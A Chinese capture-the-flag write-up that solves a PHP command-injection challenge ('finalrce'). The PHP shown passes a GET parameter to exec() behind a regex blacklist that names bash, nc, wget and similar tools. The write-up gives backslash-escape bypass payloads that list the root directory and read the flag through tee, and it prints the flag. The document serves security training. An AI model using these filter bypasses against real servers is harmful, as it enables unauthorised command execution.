【2025 SWPU-NSSCTF 秋季训练赛】finalrce

【实验工具】
Postman或Burp Suite或hackbar
【实验目的】
掌握查看php代码审计能力、正则过滤等
知识点:
1.isset函数详解
https://www.php.net/manual/zh/function.isset.php

2.exec函数详解
https://www.php.net/manual/zh/function.exec.php

3.preg_match函数详解
https://www.php.net/manual/zh/function.preg-match.php





1.开启环境,点击node4.anna.nssctf.cn:28494进入环境

2.进入环境后发现是一道代码审计的题,且根据提示,可能是代码审计结合RCE

3.进行代码分析与审计
<?php
// 使用PHP内置函数highlight_file()高亮显示当前文件(__FILE__)的源代码
// 这通常用于调试或CTF比赛中,让访问者能看到源码
highlight_file(__FILE__);// 检查是否有通过GET方法传递的'url'参数
if(isset($_GET['url']))
{// 将获取到的url参数值赋给变量$url$url=$_GET['url'];// 使用正则表达式对$url进行安全检查,过滤危险命令和字符// 正则说明:// - 分隔符://// - 模式:匹配bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|-|*|"|>|<|%|$// - 修饰符:i(不区分大小写)if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)){// 如果匹配到黑名单中的命令或字符,输出警告信息echo "Sorry,you can't use this.";}else{// 如果通过安全检查,输出提示信息echo "Can you see anything?";// 执行系统命令// exec()函数会执行给定的$url作为系统命令// 这是极度危险的操作,构成了命令执行漏洞exec($url);}
}
4.注意的点:
1️⃣php脚本中,使用的输出函数是exec,这是无法将输出内容返回到页面的,所以使用将输出复制一份并输出到终端窗口以及写入到名为文本的文件中的方法
2️⃣命令缺失:
缺失很多常用命令:`whoami`、`id`、`pwd`、`curl`、`find`、`grep`等
缺失命令连接符:`|`、`&`、`&&`、`;`、`||`等
缺失通配符:`?`、`[ ]`等
5.构造payload进行攻击
?url=l\s / | tee 1.txt
6.get传参使用该命令:
l\s /部分绕过正则匹配;
|:将前一个命令的输出作为后一个命令的输入;
tee 1.txt:将输出复制一份并输出到终端窗口以及写入到名为1.txt的文件中。

7.访问1.txt
http://node4.anna.nssctf.cn:28494/1.txt

8.使用同原理构造payload获取flag
?url=c\at /flllll\aaaaaaggggggg | tee 2.txt

9.成功访问并拿到flag
http://node4.anna.nssctf.cn:28494/2.txtNSSCTF{8ac38c6b-1252-48ed-a570-3f625997975b}

